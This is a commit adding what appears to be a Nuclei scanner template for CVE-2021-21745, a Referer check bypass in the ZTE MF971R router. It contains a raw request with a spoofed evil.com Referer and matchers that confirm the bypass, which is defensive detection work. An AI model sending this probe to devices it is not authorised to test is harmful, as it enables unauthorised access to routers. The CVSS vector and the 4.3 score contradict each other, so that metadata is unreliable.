Create CVE-2021-21745.yaml

ZTE MF971R product has a Referer authentication bypass vulnerability. Without CSRF verification, an attackercould     use this vulnerability to perform illegal authorization operations by sending a request to the user to click.

Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>

cves/2021/CVE-2021-21745.yaml

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+id: CVE-2021-21745
+
+info:
+  name: ZTE MF971R - Referer authentication bypass
+  author: gy741
+  severity: medium
+  description: |
+    ZTE MF971R product has a Referer authentication bypass vulnerability. Without CSRF verification, an attackercould
+    use this vulnerability to perform illegal authorization operations by sending a request to the user to click.
+  reference:
+    - https://www.talosintelligence.com/vulnerability_reports/TALOS-2021-1317
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-21745
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 4.3
+    cve-id: CVE-2021-21745
+    cwe-id: CWE-287
+  tags: zte,auth-bypass,cve,cve2021
+
+requests:
+  - raw:
+      - |
+        GET /goform/goform_get_cmd_process?cmd=psw_fail_num_str HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        Referer: http://evil.com/127.0.0.1.html
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: regex
+        part: body
+        regex:
+          - 'psw_fail_num_str":"[0-9]'
+
+# Enhanced by mp on 2022/05/21